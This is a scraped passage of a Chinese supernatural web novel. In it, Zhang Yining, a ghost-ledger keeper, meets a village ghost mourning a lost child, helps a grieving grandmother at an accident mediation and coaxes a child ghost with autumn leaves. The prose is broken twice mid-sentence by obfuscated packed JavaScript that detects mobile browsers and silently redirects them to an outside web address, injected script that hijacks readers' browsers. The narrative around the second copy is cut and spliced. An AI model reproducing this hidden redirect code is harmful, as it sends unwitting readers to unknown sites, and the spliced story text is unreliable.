张祎宁没想到这阵子遍寻不着的鬼竟在陌生的村里偶遇,一时彷徨不前,按理说做掌簿的,遇到鬼于情于理都得上前问问,能帮则帮,帮不了就是无缘无分,可这是在一个陌生的城市陌生的村子,掌簿有没有什么管辖权的问题呢?她又是否有能力相帮呢? 如果张祎宁此刻是孤身一人,她会当作没看见径直走过,但身边跟着刘元詹,对方已经瞧见了……犹豫再三,她还是选择走上前。 “你好,你在这干嘛呢?” 她呆呆的,没有动作,像是荒废已久的计算机突然接收到外界的讯息需要一阵时间的加载才能分析完毕,继而做出结结巴巴的回复:“你、你看得见我?” “嗯,看得见。” “你、你是、你是做啥的?” 张祎宁隐去了掌簿的身份,随意地说:“我就是路过,看到你一个人蹲在这,想来问问你怎么了?有没有什么需要帮助的?” “帮助……”她喃喃自语,久未思考很不习惯,露出痛苦的表情。 “我……我需要帮助……我在等我娃儿,等他回来,我娃儿……我娃儿还没回家。” 她开始小声呜咽,哭一下顿一下,哭一下顿一下,勾出了张祎宁一臂的鸡皮疙瘩。 “你娃去哪了?怎么不回家?” “丢了哇,我娃儿丢了……” 听到这个回答,张祎宁颓丧地不发一言。这不是她能接的单,异地他乡的儿童走失,她哪有这个本事管? 张祎宁很抱歉勾起了她的难过往事,让她啼哭不止,却没有能力解决,连拍一拍她的背的资格都没有,再次逃之夭夭。 接连的失败,不管是做人还是当掌簿,她都很失败。 “你别难过。”刘元詹的安慰就像那些说“你别痛”的话一样无力。 张祎宁再次问出那个问题,委婉地转达给询问的对象:“刘元詹,你说,阎王会不会现在很后悔当初瞎了眼选我当掌簿。” “不会的,他是阎王,就不可能眼瞎。” 掌簿就应该是杜文新和老金那样的,或是像那个她未曾谋面的王警官那样。 “我是掌簿,却也是个普通人,在这世上,普通人要做一切事情都很难。”她想解释些什么,但说出口的话又莫名带上为自己开脱的嫌疑。 她不需要刘元詹能安慰她,他也说不出什么安慰的话,但只要需要,刘元詹就会给予她及时的肯定,就像现在,“作为掌簿的巴掌,郭强会感谢你,作为普通人的张祎宁,我也会。”这是张祎宁从没得到过的。 但她的拿手技就是嘴硬:“哦?就是说作为掌簿的巴掌,你不太满意咯?” 战火又波及到自己身上,刘元詹睁大双眼,无辜辩解:“我并无此意!” “你就是这个意思,刘元詹,我每多接的一单都是为你铺路呢,你也应该感谢巴掌的,谢不谢!”她威逼道。 “谢的!自是谢的!” 将不好受的情绪转移到别人身上,她的心里熨帖多了。 走着走着,转个弯后很巧地和郭强、郭奶奶遇上,张祎宁小跑两步赶上,识相地帮郭奶奶接过镰刀和一篓的玉米。 郭奶奶笑眯眯地说:“好吃的哇,煮来尝尝!” “奶奶,玉米收完了吗?” “收完了哇!那些都交给山娃咯。” 张祎宁真佩服郭奶奶,一个人就收了那么大片玉米地,背着这么重一篓玉米走起路来健步如飞。 郭强好奇地问刘元詹:“你们不是回家了吗?” 张祎宁看刘元詹的嘴型,“迷路”呼之欲出,她赶紧抢答道:“随便逛逛,感受一下风土人情。” 郭强不疑有他,憨笑道:“那倒是,我们老家和庆林完全不一样。” “刘兄,你老家是哪的啊?庆林吗?” 郭强,说你憨,你是真憨,哪壶不开提哪壶。 但刘元詹很是疑惑地问:“老家是什么意思?家吗?” “他住我家,庆林的。”张祎宁不动声色地替他回答。 “哦~庆林本地的。” 刘元詹懵懵懂懂地点头。 * 三大爷家也只有他和媳妇还有一个在牙牙学语的小孙子,席间郭奶奶将郭强他爹托付给了三大爷,三大爷让她放心,还有种麦等事他都会一手包揽的,又问张祎宁要提前张罗些什么、带些什么过去,嘱咐她路上看顾点郭奶奶,她都一一应承。 谈到郭强,三大爷将杯中酒一饮而尽,又开始向郭奶奶絮叨他下午的那些想法,郭奶奶只是埋头苦吃,不知有没有在听。 最后,三大爷看了眼张祎宁,叹口气道:“强娃人实在,还是交到些热心肠的朋友,只是没啥福分……”以此终结了话题。 天黑得早,张祎宁约好了明天一大早绿外套的顺风车,从三大爷家回来帮郭奶奶简单收拾行李后,郭奶奶便睡下了。她见到了郭强的父亲,一个房间里两张床,一张是郭奶奶的,另一张就是郭强父亲,她今晚宿在郭强的房间。 一天都在赶路,尤其是坐绿外套的车,关上窗她觉得自己像是在泡菜缸里的腌泡菜,开了窗就吃到满嘴的沙,用“风尘仆仆”形容是再合适不过。她身心俱疲,很想洗个热水澡,但郭奶奶压根没提洗澡的事,自己也没洗,更是没在卫生间看见淋浴设备,张祎宁只能忍受着自己的不适将就洗把脸。 院子里有水缸,拔凉拔凉的,她咬着后槽牙,哆哆嗦嗦地清洁完。 郭强不好意思地说:“实在抱歉,我奶奶不习惯洗澡,要洗一次得用灶烧热水,很麻烦,她就没注意到……” “没、没事。”张祎宁感觉全身扎进了薄荷堆里,从里到外,透心凉。 “郭强,我们今天下午在村里溜达的时候在一间棚屋前面看到只女鬼,她说她在等她娃回家,说她娃走丢了,你知道是谁吗?”不远处某户人家的小孩在夜哭,张祎宁突然就想起那阵哭一下顿一下的声音,不知这哭声是否停了。 “是村东头的春婶!她……她竟然……”郭强似是太害怕又或是太震惊,他好一会儿没说话,平复下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538039|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心情后才娓娓道来:“不好意思,我实在太惊讶了,因为我没想到她还会在,她是在我上高二的时候去世的,都已经快有十年了。我那时在县城寄宿,周末回来帮我奶干活,听到我奶和别人休息的时候闲谈才知道的。春婶家里有一大一小两个小孩,平时她会从县城的厂子里拿点手工活回来干,一般去县城的时候她会带大的去,大的那时也有七八岁了,可以帮她搬东西。他们都是趁小的那个睡觉的时候偷溜出去的。 但那次小的没睡着,就跟着他们。不过去县城要坐车,就发现了小的,但也没办法了,只能带上,让大的看好小的,不要乱跑。不知道中间发生了什么,最后就是丢了个孩子,奇怪的是,大的那个不见了,小的还在,小的童言无忌,说是哥哥离家出走。后来你一句我一句,说什么的都有,也不知道哪句真哪句假了,反正讲的都跟真的一样。但既然弟弟那么说,哥哥也是懂事的年纪了,小的没丢反而丢了大的,所以村里人都信是离家出走。” 张祎宁的眉头越皱越高,这个故事不太符合她所理解的常理,好奇地问道:“好端端地怎么会离家出走?是家里有不顺心的事情吗?” 郭强在仔细回忆,“是有这个说法的,但那是离家出走这个猜想传开后接着传出来的,所以很难确定是真有其事还是以讹传讹,说……说春婶还有家里人偏心,只让大的干活,好的都留给弟弟。” 不得不说,谣言的生命力是很顽强的,它的传播速度快、范围广,且会自主繁殖、生长,自动弥补残缺部分,使自己变得无懈可击。 这个说法很具迷惑性,太有逻辑,简直就是顺理成章的事,如果真是这个原因,离家出走就不那么奇怪,可是…… 张祎宁一股脑地抛出疑问:“小孩身上有带钱吗?没有报警吗?还有,春婶她看起来真的很伤心,应该很爱这个孩子,哦对了,春婶是怎么去世的?” 郭强只能挑他知道的回答:“小孩是前一年夏天丢的,春婶是第二年夏天走的。我考上了大学,我奶想给我置办酒席,但刚好撞上春婶出事,就没办成。说是、说是家里人不怎么上心孩子丢的事,毕竟家里还有个小孩,他们觉得再怀一个就行,也顺便冲喜,春婶怀上了,但心情抑郁,身体变得不好,是难产死的,小孩没事,春婶没了。” 不胜唏嘘,为春婶,也为那个不知是走失还是离家出走的小孩。 “春婶是个很能干的人,老公在城里打工,她一个人在家干活、照顾家里,什么都会,小的时候她会在田间给我们烤红薯吃,乐呵呵的。” 张祎宁问:“你要去看看她吗?” 郭强犹豫地反问道:“你会帮她吗?” “不会,我没有这个能力。” “嗯,我们都只能干自己力所能及的事情。我就不去看她了,不知道该跟她说什么,也免得给你添麻烦,”他抖擞抖擞精神,“我先进去了,陪陪他们,你也早些睡,夜里凉。” “好。” 现在的时间都不到九点,1980taste刚开始营业不久,今夜会有客人吗?张祎宁抬头望向天空,不是纯黑一片,像是墨蓝色的颜料不小心倾倒在了黑布上,两者混合,但离得近的地方和离得远的地方颜色不一,颜料还未蔓延到那里。 月亮高挂,星空闪耀,这是课本里的夜空,但张祎宁从没见过,她长在城市,远行的目的地是另一座城市。 她希望能把这天上的所有星星都数一遍,然后记住它们,回到城市以后闭上眼,再将它们放出来。这就是独属于她的星空了。 “刘元詹,你见过这么大的月亮,这么亮的星星吗?” “见过。” “郭强今天下午说的‘老家’是‘故乡’的意思,虽然我不知道你生活的时代和现在看见的是否是同一片夜空,但是不管在你的故乡还是我的故乡,我们抬头看见的是同一个月亮。” 刘元詹学着她的样子将头完全仰起,看向那个清晰的月亮说道:“嗯,所以不知道故乡也没关系。” 孺子可教。 “对,没关系。” 37. 茄子和苦瓜 农村的夜晚很安静,早晨却过于热闹了,何况那不是张祎宁认知意义上的早晨,七八点钟的太阳和闹铃是开启她新一天的标志,而不是五点就开始的鸡鸣和狗吠。 她原本还担心自己定的时间太早,睡眠不够会导致郭奶奶路上吃不消,但她摸着黑起来时,郭奶奶第二屉饺子都已经下锅了,这两屉饺子就是她们的早餐以及过后几天郭强父亲的口粮。 张祎宁的精神高度紧张,反复和郭强确认郭奶奶的疾病史,再三在脑海里排演最快的、最少折腾的路线以及每一个环节是不是都能串联上。 确实是她过度紧张了,其实在昨天看到郭奶奶矫健的身姿和良好的身体素质时就不需要多虑的。像郭奶奶这样的老人,干练能干,不仅能将琐事打理得井井有条,还有他们的身体,精打细算、省吃俭用大半辈子,他们可以允许身体有小病小痛,但绝不允许身体问题成为打破生活平衡的累赘。 顺利踏上庆林的土地,郭奶奶有因为晕机显得脸色灰白,但她走起路来依然稳健有力。 张祎宁按照郭强的描述带她来到郭强租住的出租屋,这里离市中心有七点几公里远,不太方便,但让郭奶奶住在郭强生活了几年的地方,也许能在这最后的时刻让他们彼此靠近些。 张祎宁已经和她介绍过这是郭强生前住的屋子,但她从进门到现在先是为是否要脱鞋进入而苦恼,然后一直背着自己的包不肯放下,被张祎宁上手解下后又小心翼翼地放在鞋柜上,也不多看多摸,更不敢坐在布艺沙发上,拘谨地站着,像是到不熟悉的朋友家做客。 “奶奶,你今天就先好好休息吧,明天再去办手续也行。” “我不累的哇。”她将身份证攥在手心里。 “行,那我们等下去吃个饭,吃完饭直接去交警大队。” “娃……”郭奶奶的表情和结巴语气出卖了内心的不安,她怯生生地开口,“能洗澡吗?洗完澡再去。” 洗澡?郭奶奶身上还穿着昨天那套衣服,只是稍微掸了掸灰。 “当然,卫生间里的应该是电动热水器,我这就帮你烧。” 她大幅度地摇晃手臂,表情又覆上了焦急,因为自己不会表达,和张祎宁沟通总是产生歧义,这让她很自责,感觉自己很笨。 郭强适时给予解释:“我奶说的洗澡是澡堂那种搓澡,村里有个小澡堂子,过年过节大家都会挤在一起搓澡。” 啊——搓澡——庆林也有澡堂文化,并不兴盛,大多是老一辈那种澡堂子,也有一两家大的连锁店,但那种叫做洗浴中心,并非搓澡,以娱乐项目为主。 张祎宁恍然大悟道:“哦——奶奶是说搓澡吧?”她做了手搓的动作,郭奶奶笑开了花,“是是是!洗澡!” 她带着郭奶奶来到一家老式澡堂,自己则坐在外间等候。她也很想洗澡,但对于公共澡堂的抵触心理大过对洗澡的渴望,如坐针毡也要稳坐其上,还没到能动摇这颗抵触之心的地步。就在她计算从这里打车回家洗个澡再回来需要多久,还差最后一鼓作气的决心之时,郭奶奶结束了。 郭奶奶穿着郭强年前给她新买的衣服,脸上的灰被洗掉了,指甲里的污垢不见了,脖子红彤彤的,或许是被热气熏蒸的,或许搓得有些用力。她终于肯主动地触碰张祎宁,温热的粗糙的手握住张祎宁,郑重说道:“走吧。” 洗澡这件事对于郭奶奶来说已经算得上最高规格的“仪式感”,张祎宁不懂,联想到她在郭强房子里的拘束,此刻了然,以一副整洁干净的面貌再见孙子一面,这对她来说有多重要。 * 肇事者未逃逸,先垫付了医药费,只是最终抢救无效身亡,所以按交通肇事罪论罪,交通事故认定书已出具,肇事者全责,接下来是就民事赔偿问题开展双方家属协商。 肇事者家属是一个老妇人和一个挺着孕肚的女人以及一个小娃娃,三人连同肇事者一齐跪在郭奶奶面前,声泪俱下:“家里还有个植物人老爹,全家就靠他一个人跑物流赚点小钱,我们真的赔不起上百万!就算把我们这老的小的都拉去卖了都卖不到几万块钱,家里能拿得出来的就十万,这十万还是放弃他爹才能抠出来……老姐姐,我对不起你啊,我真的对不起你啊!”老妇哭得声嘶力竭,一边干呕一边嚎啕,继而对她的孙子拳打脚踢:“你个天杀的!讨债鬼!你让我们怎么活!不如把你打死了给人家赔命,我们几个也都别活了!” 张祎宁站在一边,整个房间都回荡着他们一家的哭闹咒骂声,小孩尖利的哭喊大有将人的耳膜刺穿的本事。郭奶奶像被泪海包围的孤岛,因周围都是无望的海,她便不再能变成海了,只好孤独无助地呆立,眼看着浪潮席卷上来。 张祎宁本决定作为一个局外人从旁协助,可看见郭奶奶无助的眼神,还是按捺不住。她将郭奶奶的座位向后移,确保对面的混乱不会波及她后坐在了郭奶奶旁边,握住了郭奶奶的手。 有调解员的介入,混乱没有持续多久,且郭奶奶没说话,再闹腾也没用。 “奶奶,我来跟他们沟通,可以吗?” 郭奶奶用力地回握住她的手,点头默许。 “赔偿款不是我们主张的,是法律规定的,在此基础上我们也没有提出多要一分钱。你们很苦,郭家就不苦吗?郭强也有个中风的父亲,你们家还有两个小孩,说实话,你才二十岁,进去蹲个几年出来还是风华正茂,又能养家糊口了,那郭强呢?他还没有体会过做父亲的滋味,没有留后,往后家里都指着郭奶奶一个人,到底谁苦?” 张祎宁无意间瞥见一旁垂头站着的郭强,瞬间感觉有团东西堵在喉头,咽不下去,又卡着难受。 “其实没什么好调解的,法律怎么规定就怎么办,交强险可以赔付一部分,刚刚你说是跑物流的,那就叫你们单位也承担一部分,不管是东拼西凑,还是服完刑期后出来赚钱还,总之一点一点都要还上。我们后续会申请法律援助,就都交给法律吧。”她抑制着自己的情绪,却依然忍不住说出那句百遍千遍都说不尽的话:“几百万又算得了什么呢?也买不回郭强一条命。” 这起悲剧的源头是疲劳驾驶,是一个二十岁的年轻小伙子上有老下有小,想多跑一单赚多350块钱。谁看到眼泪都很难不动容,如果她不是先遇到了郭强,后又和郭奶奶相处几天,她也许会站在中立的角度看待问题;她也许会为这一家人动情,郭强可能一辈子都赚不到这么多钱;会唏嘘世事无常,最后再为无辜丧命的郭强叹一口气。 郭奶奶没有力气,她押上自己的全部,第一次走出村子,第一次飞上高空,要接孙子回家,却再也没有力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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张祎宁见他又要鞠九十度的躬,连忙制止:“你奶奶今天已经谢了不知道多少遍,一件事情就不必两个人轮番谢了又谢吧,好了好了,我赶着回家洗澡——” 她足足洗了近一个小时的澡,浑身舒坦,连脚趾头的毛孔都得到了舒张。 这一路的风沙,可以搓出二两灰了。 斜躺在罗汉床上,双脚高高抬起,靠着墙壁,张祎宁那根紧绷的弦经过热胀冷缩,现在胀得有点过松了,空空如也。 “刘元詹,我是不是还有什么事情没干?突然想不起来了。” “是有的,”他掰着指头算,“其一,小小的事情尚未有头绪;其二,我们需要找到董昊去见断腿老人;其三,现在是晚上九点,是否要去和杜文新汇报进度;其四,我们无能为力的丢失孩子的女人;其五,明日你要上班。不知你所谓何事,但应该不外如是。” “……” “刘元詹,我们干了挺多事的吧?要不我咋这么累呢?” 张祎宁将湿发搭在沙发沿,头靠近他,认真问道。 他点点头,“嗯。很充实。” “那为什么听你说起来,我们啥事都没干成,白忙活?” “唔……也不尽然……” 张祎宁等着他的下文,“不尽然”的举例,他却沉默了。 两人一个像被霜打的茄子,一个像弯了腰的苦瓜,一齐陷入沉默。 这是为什么呢? 38. 正确与公平 重新找回夜晚都市的繁华,张祎宁却失去了星空。她站在街道中央,睁大眼睛找被遮掩的星星,只有一片漆黑。听说人的余光对暗光敏感度更高,可以看到一些直视时看不见的星星。“也看不见呀……”她失望地眨眼,周围的光线过亮,余光的效果也减弱了。 张祎宁负气地不再仰头,推开门走了进去。 “还有一口锅,端到那桌去。” 门外的凉风随着她的进入,吹散眼前的热气。 室内一片嘈杂,汤锅蒸腾的咕嘟声让食客的心情也高涨,方桌坐满了,三三两两说着话,很是热闹。张祎宁听到杜文新火急火燎的吩咐,门都忘了关,就上前帮忙端菜。 今夜的菜单是牛尾和牛杂煲。 天气渐冷,汤锅和各种煲成了菜单常驻,杜文新的吧台也一刻不得闲,冰饮的出售率比夏天还要高。 张祎宁重新给刘元詹播《围棋少年》,暗暗得意因为最近各种杂事接踵而来,转移了刘元詹要把自己训练成小区里象棋二把手的事。她坐在高脚凳上看杜文新调配饮品,不得不承认,老金的厨艺高超,杜文新的特调也颇具风味,他俩开这餐厅还真不是空有名头。 “这么多人会不会在这密闭的空间里憋死啊?”她早就想问了,但以前的食客没这么多,现在便觉得这样的担心很有必要。 “谁说密闭?有新风系统的。” 张祎宁仰头看了看天花板,没见到他说的新风系统,又问道:“花这么多钱?能回本吗?也就冬天生意好点,夏天冷冷清清。” 杜文新不甚在意:“不好吗?忙完就休息,休息够了继续忙。” “其实你可以在餐厅里装一台电视的,位置我都瞧好了,就后面那面墙,把那些丑陋的装饰拿掉,挂一台电视,夏天就转播各种赛事,足球、篮球、网球、乒乓球、打拳……等等等等,搞活动卖你的饮料,我觉得很有赚头啊!” “是是是,没有赛事的时候还可以播《海绵宝宝》或者《围棋少年》,让老金出一个儿童套餐,还能做小孩子的生意,是不是?” 张祎宁讪讪道:“那闲着也是闲着……” 杜文新冷嗤一声,不作回应。他一手拿着搅拌棒,另一手握着酒,将酒沿着搅拌棒倒下,动作轻柔熟练,张祎宁也认真地看着他的动作,赏心悦目。 调酒表演结束,她又想起一件事,开玩笑道:“要我说,你俩都不用做餐厅生意这么累,还赚不上钱,老金要是卖他那个包治百病的灵丹妙药,何愁没有生意?” 杜文新瞥了她一眼,打发道:“你别当面造谣,都说是凉白开,去,把这杯送到靠墙那桌。” “凉白开凉白开,此地无银三百两。” 当时如果没有一饮而尽,留一口,还能偷偷检测成分…… 那杯药算张祎宁自见过阎王、起死回生以来的第二件“神迹”,让她念念不忘。未见过神迹之人幻想见到神迹,为的是验证真假,而一旦见过神迹,便念念不忘,生怕再也得不到神迹的眷顾。 杜文新将最后一杯特调送出,闲来无事勾起了他的好奇心,偏头看着刘元詹问道:“诶,你坐飞机了吗?” 刘元詹点头。 “你是站着还是坐着?” “站着。” 杜文新正欲追问,便见张祎宁风风火火赶回,如临大敌:“干嘛呢干嘛呢你,勾勾搭搭。” “我问他坐飞机什么感觉。” 那这个问题她也好奇,两人一起望向刘元詹。 以往只有张祎宁一个人过分热情地好奇他的诸如生理构造、走路方式、穿墙技能等特性,还总撺掇他做实验,现在又多了个杜文新,刘元詹想多习得一项遁地技能。 他生前所受的教导应是无论处何境地,都要真诚地直视说话之人的眼睛,这导致他现在非常尴尬,却也还是坚强地面向他们,结巴道:“无、无甚感觉,还是人。” “说的是外面的天空,触手可及的感觉。” “没、没看见……” 呃……张祎宁想起,刘元詹想看来着,被她吓唬了。 她闪身挡在两人面前,隔绝视线,强势结束话题:“算了算了,你别为难他,都是鬼了,还能有什么感觉?” 刘元詹如蒙大赦,重新将目光投向手机里可亲可爱的小人儿身上。 “那不说他,说说你,完成没?”杜文新摆出上位者的姿态,双手环胸。 “没呢,昨天刚把他奶奶接来,后续还有一些流程要走。明天周六,按理说会赶在今天办事,但今天郭奶奶也没打电话给我,不知道是不是还得拖一阵?” 杜文新兴致缺缺,只含糊点评一句:“还挺麻烦。” “对了!我这趟过去,在他们村子看见一只女鬼,郭强说她去世至今快十年了,在等她走失的小孩回家,十年诶!她应该是十年都没遇见过一个掌簿,你说我有没有可能帮她?” 杜文新觉得张祎宁一定是有点天赋异禀的,只是不知道是因这天赋被阎王选择,还是这天赋就是阎王赐予的,一定是有点什么,不然怎么什么奇怪的事都能给她碰见。 “你能怎么帮她?帮她找小孩?” “我哪有这本事!你们呢?你们有没有办法?” 杜文新将手一摊,“首先,隔了几千公里,我们管不着,其次,我就算管了,派下去,连你都不接的活你觉得被别人接的概率有多大?最后,我用你稍微能接受的态度帮你分析一下,这件事情的解决办法有两种,第一种是帮她找,加入那些寻亲家庭,广播媒体、出资悬赏,边等边找,无非是时间线拉长点,她都等十年了,还有什么不能等?” 张祎宁频频点头,觉得杜文新说得很有道理,谁知他话锋一转:“但是——你是受谁的委托?鬼吗?她的家庭,那个走失孩子的其他家人是不是也如她所盼呢?第二个办法,彻底击溃她,让她知道她的孩子再也回不来了,她失去幻想,执念自然就不在了。” “你……”她无力反驳,是有道理的。 善意的谎言和刺耳的真相,谁又比谁残酷? 她也没少干这种事,给那些想复仇的人加最后一根稻草,压倒他们的脊梁,“收割”他们的“人头”……却又不一样,复仇是无望的,但“你的孩子,他不会回来了”是真相吗?她有什么资格说这是真相,万一将来的某天……万一呢? 所以,这是不对的。 “我们管不了,那他们那边呢?他们那边的掌簿也许有办法,你们可以联系到吗?” 杜文新已经是耐着性子回答刚才的问题,病急乱投医,张祎宁许是太过急切,才又问出这么简单弱智的问题,他不相信她不懂,“冷静点,别犯傻。” 张祎宁何尝不明白,杜文新说过,虽然有“横”这个组织的存在,但掌簿成员彼此无关联,甚至有些掌簿与他们这样的中枢人物也不直接碰面,人人竖起防御墙。她明白,只是恼怒于杜文新的无动于衷,可她也没资格指责他,她眼中的 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杜文新循循善诱:“你打算怎么做?” “都没什么迂回的好办法,只能正面出击,反正现在的问题都集中在两个小孩身上,那就努把力搞定两个小孩!” 杜文新将擦拭过的眼镜又架回鼻梁上,“哦?小孩?你找到那个董昊了?是个小孩?” “我……”张祎宁及时住嘴,险些咬着舌头。 杜文新这厮!什么时候见他这么上心,他到现在连小小的名字都没记住,总是“小鬼小鬼”地叫,也根本不关心进度,现在却连她只提过一次的“董昊”的名字都记得,有诈! 她佯装不知,随口敷衍:“没呢,忙的很,哪有空大海捞针。” “是吗?” “走了,刘元詹!明天还有很多事要做。”张祎宁怕自己说多错多,跳杜文新挖好的坑,索性溜之大吉。 她出了门后越走越快,让刘元詹很是不解,不由问道:“为何走这么快?你们方才的谈话不顺利吗?” 张祎宁的表情凝重:“我叫你走的时候有一桌客人吃饱喝足准备离开了,那么多碗筷杯碟,杜文新肯定叫我洗!快!再走快点,别被追上。” 刘元詹诺诺,加快脚步。 杜文新和张祎宁在某些方面确乎有些心有灵犀,比如眼下。 他一边收拾餐盘,一边后悔自己沉不住气。哪怕晚五分钟呢?晚个三分钟也行,他会把张祎宁从门口拽回来一起面对这些油腻的残羹冷炙。 将最后一桌大部队转移到洗手池里,杜文新透过胶质手套仍能感受到水的冰冷,忍不住对老金说:“安个速热水龙头吧,水越来越冷了,我洗碗你洗菜都能用到。” 老金正拿着一大块冰,凿里面的海鲜,反问道:“冷吗?” “我冷。” “也就冬天用一阵。” 杜文新小心翼翼地不让水流进手套里,转而提议道:“不然买洗碗机,一年四季都能用。” 砰——地一声,老金的刀砸下,冰块裂成两半。 “那玩意儿洗不干净。” “洗得比我干净就行。” “还有钱吗?洗多久能回本?” “……” 杜文新不说话了,呲牙咧嘴地用力擦油污。 “今天就不该让她走,明天,等明天的……” 39. 秋叶 美好的周六早上,睡到自然醒的美好的周六早上。 张祎宁躺在床上,懒洋洋地做拉伸。 “今天要从哪里开始呢?吃了饭以后下去继续跟小小套近乎,旁敲侧击一下他的态度有没有转变,然后打个电话给郭奶奶问好,至于董昊,周六不上学,我也寻不到,这件事最好周一抽个时间跑一趟。晚上……晚上就不过去了吧,又没要紧事,大周末的上赶着做苦力。奔波了两天,不如周末放个假……” 规划好一整天的工作,又获得了两天的休息时间,她满足地翻身而起,打了套八段锦。 “小小,小小,你去哪,别跑那么快!跟我比跑步是吧?我放刘元詹咬你啦!”刚吃饱饭就要做消化运动,张祎宁绕着不大的院子东南西北四个角地跑,压低声音弱弱地威胁。 小小横冲直撞,扯着嗓门大喊:“姐姐!我今天不想玩游戏!” “今天不玩游戏!什么也不干行不行?” 小小一个箭步冲到下棋的大爷旁边,停下,回头问:“什么也不干?” 小小年纪还学会拿捏软肋了,他特地跑到大爷们旁边停下就是算准张祎宁不会靠近,她只要靠近就会被大爷们拉住来上一局,作为一个工具人,她坐不住,也受不了违心地接受赞美。 上个星期,本想着已经得到自己想要的线索,不能再被动地当个工具人了,她便故意走几步臭棋认输,没想到反而激发了大爷们的兴致,还受到了更违背良心的谴责,因为刘元詹一连几天都用幽怨的眼神注视她。 惹不起还躲不起吗! “过来,我们坐下。”为表诚意,她先行走到背对棋桌的树台坐下,跟刘元詹使了个眼色,小小就坐在了他们中间。 跟小孩子能聊什么话题,张祎宁绞尽脑汁地想,余光刻意地在小小身上扫视一圈,一个明显的图标闯入她的视线。 庆林小学。 “小小,你在庆林小学读一年级吗?” “对呀!” 这件校服她不只在小小身上看到过,“小派也是吗?” “小派、我、甜甜和小苹果,我们都是,我和甜甜是同一个班级。” 西瓜头的小派派—— “那你们有见过高年级的哥哥姐姐吗?比如,六年级。” “有呀!周一早上的升旗仪式是全校同学都要参加的,六年级要检查一年级有没有戴好红领巾,五年级检查二年级的……”小小一个劲地数下去。 这就是冥冥之中自有天意吗?老人、董昊、小小、小派,一条顺畅的连线。张祎宁越看小小越觉得顺眼可爱,虽然他自己是个棘手的麻烦,却又给她带来新的机缘。 她将手掌放在小小的头顶上,隔空轻轻拍了拍,笑道:“今天姐姐有时间,陪你一起建城堡怎么样?” 小小跳下树台,瘪着嘴:“不要,姐姐建的不是城堡,是又黑又吓人的地狱!” “怎么就又黑又吓人呢?我都说了,那里一点也不黑,是个宫殿,很大很长,在里面玩捉迷藏绝对没人能找到你,还有金柱,金柱上有琉璃!” “才不是……” 张祎宁竖起三根手指,坚决说道:“我发誓!我绝对没骗人!我去过的,亲眼所见!” 小小将手背在身后,装出一副大人像,“下地狱的人是不可能回来的。” “那不是你想象中的地狱,换个词理解,地府、阎罗殿之类,阎王也很友善,不是青面獠牙的怪物。小小,俗话说,眼见为实,你不相信的话自己去看看就知道了,怎么样?你想去看看吗?”张祎宁又补充道:“说不定那里还有巧克力工厂、糖果乐园呢。” 她自认这些话对一个六岁的小孩来说应该还算有点吸引力,小小却斩钉截铁地拒绝:“爷爷说不能跟陌生人走,不能要陌生人给的糖果、巧克力,地狱里没有爷爷,小小不要去!” “你……你还挺孝顺……” 这么懂事听话,当初怎么就一个人跑出去了呢? 不建地府就不建吧,她也不想自己一个人蹲在沙堆旁边自言自语,惹人笑话。 “那要不要玩捉迷藏?” “不要!”小小的情绪突然激动。 见他又要跑走,张祎宁急忙安抚:“不玩不玩!什么也不玩,就坐着行不行?” 张祎宁不敢说话,一动不动地观察小小的反应。他别扭地在原地前后左右挪动脚步,脸上还是皱成一团,不肯坐下也不走开。 这时,刘元詹向他伸出手,“坐下吧,姐姐是在关心你,想陪你玩。” 小小的目光在两人之间左右闪躲,好一会儿后,才努着嘴坐回来。 张祎宁识相地说:“我不说话了,让哥哥陪你聊吧。” “哥哥要跟我聊《围棋少年》,但是我没看过,听不懂……” “怎么会?哥哥看过《电击小子》噢~” “哥哥说《围棋少年》更好看……” 张祎宁一个眼刀扫过去,半斤八两嘛,他们俩谁也不会哄小孩。 第三次陷入沉默,小小低下头,只留饱满的后脑勺给两人。张祎宁和刘元詹面面相觑,都试图让对方先抛出话题。 “将!” 清脆的棋子撞击石桌声和气势雄浑的叫杀声立马夺走了刘元詹的注意力,现在只留张祎宁孤军奋战了。她顺着小小的视线看去,想弄清这个孩子的注意力在哪,此刻在想些什么,就看见了一地的金黄。 沙——沙——沙——沙—— 一双脚轻轻地踩在落叶上,干脆、卷曲的叶片碎开,沙沙声传入小小的耳朵里,像被叶片扫过,痒痒的,他的眼睛追随着那双脚所到之处,舍不得挪开。 这似裂帛之声也吸引了刘元詹。张祎宁轻轻地抬脚,脚下像绽开一朵朵秋花,又轻轻落下,奏响一曲曲秋歌。 “你们也来!我们把这些都踩个遍!”她诚挚地发出邀请。 他们没有办法拒绝这样的吸引力,能和人世间的一切产生一丁点儿交集,会让他们产生“还活着”的错觉,比如沐浴在太阳下,比如被人看见,又比如感受秋天。 刘元詹和小小跟着张祎宁的频率和动作,抬脚、落下、抬脚、落下。 沙——沙——沙——沙—— 最后一片叶子踩完,秋天也将要过去,接下来是庆林漫长的冬。 * 张祎宁霸占了电视,她发现自从收留刘元詹以后,这台电视的播放记录就都是《大明王朝1566》和动画片,难得休息一整个周末,她抱着遥控器不撒手。 但刘元詹也无所谓,不管看什么,他都挺津津有味的,毕竟所有这些对于他来说都是新世界。 “你猜,最后的凶手是谁?” 刘元詹思忖道:“应该是那个装修工人,你觉得呢?” “是他。这部剧我都看第三遍了。” 他不解,歪头问道:“为什么要看三遍?” 张祎宁懒懒地打了个哈欠:“无聊。每看一遍就有新感觉,比如现在,我会想这些受害者如果变成鬼,他们的执念是什么,复仇吗?你有什么感觉,好看吗?” “没有感觉。” “唔……毕竟是电视剧。” 